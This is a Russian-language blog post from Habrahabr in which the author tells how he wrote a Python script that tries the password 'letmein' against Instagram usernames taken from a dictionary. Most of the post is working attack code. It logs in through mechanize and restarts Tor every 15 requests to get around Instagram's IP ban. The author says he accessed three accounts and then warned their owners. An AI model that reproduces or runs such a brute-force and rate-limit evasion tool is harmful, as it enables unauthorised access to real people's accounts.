habrahabr

Как я немного Instagram увёл

  • суббота, 15 марта 2014 г. в 06:00:04

http://habrahabr.ru/post/215829/



Всё началось после того, как я прочитал статью о самых популярных паролях 2013 года. Как, думаю, и многим, мне моментально захотелось проверить, действительно ли эти пароли так уж и популярны. После недолгих раздумий выбор пал на социальную сеть/сервис обмена фотографиями — Instagram.
Первые шаги


Первое, что я сделал — проверил, как именно реагирует веб-версия этого чуда на вход с правильным и неправильным паролем. Всё оказалось стандартным, я даже немного обрадовался. При неправильном пароле с сервера приходит ответ с кодом 200, при верном же — приходит код 302 и редиректит на главную страницу. Этого достаточно, приступаю к написанию скрипта на python, который будет подставлять логин и пароль в форму, а затем узнавать, подошло или нет.

Он выглядел вот так:

import urllib login_data=urllib.urlensource({'username':'username','password':'password','submit':'Login'}) response = urllib.urlopen('https://instagram.com/accounts/login/',login_data) f = open('dex.html','w') f.write(response.read()) f.close() print 'ok' 



Первый же тест выдал ошибку «Включите куки» («This page could not be loaded. If you have cookies disabled in your browser, or you are browsing in Private Mode, please try enabling cookies or turning off Private Mode, and then retrying your action.») Времени у меня было не так много, поэтому я выбрал быстрое решение этой проблемы, которое обычно использую для тестов своих творений, а именно mechanize. Точнее даже mechanize.Browser().

Вторая версия выглядела уже вот так:

import mechanize name = 'username' password = 'password' br = mechanize.Browser() br.open('https://instagram.com/accounts/login/') br.select_form(nr = 0) br.form['username'] = name br.form['password'] = password br.submit() f = open('dex.html','w') f.write(br.response().read()) f.close() print 'ok' 



Временный успех


И, о чудо! При верной и не верной паре логин/пароль всё отрабатывалось, как нужно. Но код ответа сервера в обоих ситуациях приходил 200. Это не страшно, ведь в ответе мы видим и саму страничку, которая пришла. Просто смотрим какую-либо фразу в странице, говорящую о том, что пароль не подошёл. Если такой нет, то у нас всё отлично, мы нашли пользователя со слабым паролем.

У меня это выглядело вот так:

if br.response().read().find('correct username') == -1: print 'YEP' log_list = open('log_list.txt','ab+') log_list.write(name + ' ' + password + '\n') log_list.close() else: print 'NOPE' 


Пока всё шло гладко. Sitemap я так и не нашёл, поэтому в качестве базы логинов я подключил стандартный для ubuntu словарь слов английского языка (/usr/share/dict/american-english), из которого брал все слова, в которых не присутствует апостроф, а база паролей сводилась, по условиям эксперимента, к базе из выше упомянутой статьи. Но из всей базы ручным перебором был выявлен всего один подходящий для сервиса пароль(не разрешает инстаграм использовать слишком уж простые пароли). Стало уже не так интересно, но останавливаться не хотелось. По пути сделал проверку, а существует ли вообще пользователь с таким логином, чтобы впустую не бегать + учитывать в статистике только существующих пользователей. Это же эксперимент!

Всё вместе это уже выглядело вот так:

import mechanize def check_url(url): p = urlparse(url) conn = httplib.HTTPConnection(p.netloc) conn.request('HEAD', p.path) resp = conn.getresponse() return resp.status < 400 names = open('american-english','r').read().split('\n') password = 'letmein' number = 0 for name in names: if name.find("'") == -1: number += 1 url = 'https://instagram.com/'+name if check_url(url): print 'not exist' else: print str(number) + ' ' + name br = mechanize.Browser() br.open('https://instagram.com/accounts/login/') br.select_form(nr = 0) br.form['username'] = name br.form['password'] = password br.submit() s = br.response().read().find('correct username') if s == -1: print 'YEP' log_list = open('log_list.txt','ab+') log_list.write(name + ' ' + password + '\n') log_list.close() else: print 'NOPE' 



Не самая надёжная защита от брутфорса


Спустя 20 итераций инстаграм начал меня выплёвывать с ошибкой 403 Forbidden(доступ запрещён). Их сервер догадался, что я делаю что-то плохое. Я пытался играть с разными куками и подменами браузера. Нет не пускал, значит банят по ip. Нужно использовать прокси. Самым быстрым решением для анонимного входа я нашёл tor. Методом научного тыка было определено, что смена ip требуется примерно после каждых 15 обращений. Машина заработала!

Финальный скрипт:

import os, socks, socket, mechanize, cookielib, httplib from urlparse import urlparse def check_url(url): p = urlparse(url) conn = httplib.HTTPConnection(p.netloc) conn.request('HEAD', p.path) resp = conn.getresponse() return resp.status < 400 def create_connection(address, timeout=None, source_address=None): sock = socks.socksocket() sock.connect(address) return sock socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) socket.socket = socks.socksocket socket.create_connection = create_connection names = open('american-english','r').read().split('\n') password = 'letmein' number = 0 for name in names: if name.find("'") == -1: if number%15 == 0: os.system('service tor restart') number += 1 url = 'https://instagram.com/'+name if check_url(url): print 'not exist' else: try: print str(number) + ' ' + name br = mechanize.Browser() br.set_handle_equiv(True) br.set_handle_redirect(True) br.set_handle_robots(False) br.open('https://instagram.com/accounts/login/') br.select_form(nr = 0) br.form['username'] = name br.form['password'] = password br.submit() if br.response().read().find('correct username') == -1: print 'YEP' log_list = open('log_list.txt','ab+') log_list.write(name + ' ' + password + '\n') log_list.close() else: print 'NOPE' except: print 'something wrong' pass 



Оставил его трудиться на ночь.

О результатах.


Утром проснулся как в Новый Год в ожидании, какой же подарок мне оставил мой трудолюбивый эльф. Итого было проверено 9103 имени(далеко не все из списка, я остановил скрипт), из них трое использовали уязвимый пароль. Это примерно 0.03% опрошеных — не так и мало. Я был бы рад, если бы нашёлся хотя бы один. Связался с владельцами аккаунтов с просьбой изменить свой пароль. Теперь в мире на 3 человека меньше используют слабенькие пароли, защищая свои любимые фоточки.

Всем спасибо за внимание.